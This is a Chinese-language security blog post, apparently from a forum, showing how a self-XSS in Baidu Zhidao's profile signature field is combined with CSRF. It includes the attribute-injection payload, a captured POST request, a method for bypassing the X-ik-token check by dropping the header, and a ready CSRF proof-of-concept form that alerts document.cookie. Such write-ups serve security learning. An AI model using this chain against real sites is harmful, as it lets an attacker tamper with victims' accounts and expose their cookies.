0x01 前言
跨站请求伪造(英语:Cross-site request forgery),也被称为 one-click attack 或者 session riding,通常缩写为 CSRF, 是一种挟制用户在当前已登录的Web应用进程上执行非本意的操作的攻击方法。 跟跨网站脚本(XSS)相比,XSS 利用的是用户对指定网站的信任,CSRF 利用的是网站对用户网页浏览器的信任。当XSS配合上CSRF漏洞,往往能够得到事半功倍的效果。
0x02 一发self-XSS
今天我们就用度娘来当靶机~
我们先到
这里可以看到这里的html代码漏洞为
<input value="你输入的内容">
我们又可控的内容了我们可以构造payload(绕过对尖括号的转义)
" onclick=alert(1) src="
这样的话,我们的input标签成功被污染了,变成
<input value="" onclick=alert(1) src="">
当我们点击的时候,触发onclick事件。这样的话,就存在XSS漏洞了。但只有我们自己编辑的时候才能触发,属于是self-XSS,并没有什么卵用。
0x03 变废为宝之CSRF
之前的self-XSS的确存在,但是我们真的不能利用么?如果利用,必须要让别人的签名改成我们自己的payload,那么,如何让别人的签名变成我们想要的内容?那么这里就涉及到CSRF了,但是这里有token,我们来分析一波。
POST /submit/user HTTP/1.1
Host: zhidao.baidu.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-ik-token: 07fd4f026458ddf1f39c1e7c63639c57
X-ik-ssl: 1
X-Requested-With: XMLHttpRequest
Referer: [url]https://zhidao.baidu.com/ihome/set/profile[/url]
Content-Length: 37
Cookie: 我是cookie
Connection: close
[align=left]uflag=set_profile&intro=你提交的内容&cm=100508[/align]
可以看到在http头部有一个X-ik-token,我们不妨来分析一下,每次请求,都会给你分配一个token,一个token不能使用两次,但是经过测试,我们如果删掉这个属性去请求的话,会发现,系统会自动帮我们生成一个全新的token,然后我们的请求依旧能成功,这样的话,我们就成功的绕过了这儿的token验证。
这里我们就可以构造CSRF-POC了
<html>
<body>
<form action="https://zhidao.baidu.com/submit/user" method="POST">
<input type="hidden" name="uflag" value="set_profile" />
<input type="hidden" name="intro" value="" onclick=alert(document.cookie) src="" />
<input type="hidden" name="cm" value="100508" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
我们准备一个小号,先将个性签名改为一个正常的签名,例如123
这里,我们用小号点击我们构造的而已页面
返回给我们一个状态码
这时候,我们的个性签名就改好了
假设我们是一个正常用户,发现个性签名被改了,我们是不是会改回来,然后修改的时候,触发我们的恶意JavaScript脚本
这样的话我们的self-XSS就具有恶意攻击性了。
0x04 总结
善于思考,总是能够变废为宝。
更多安全技术、精品好文、白帽黑客大佬尽在:http://bbs.ichunqiu.com/portal.php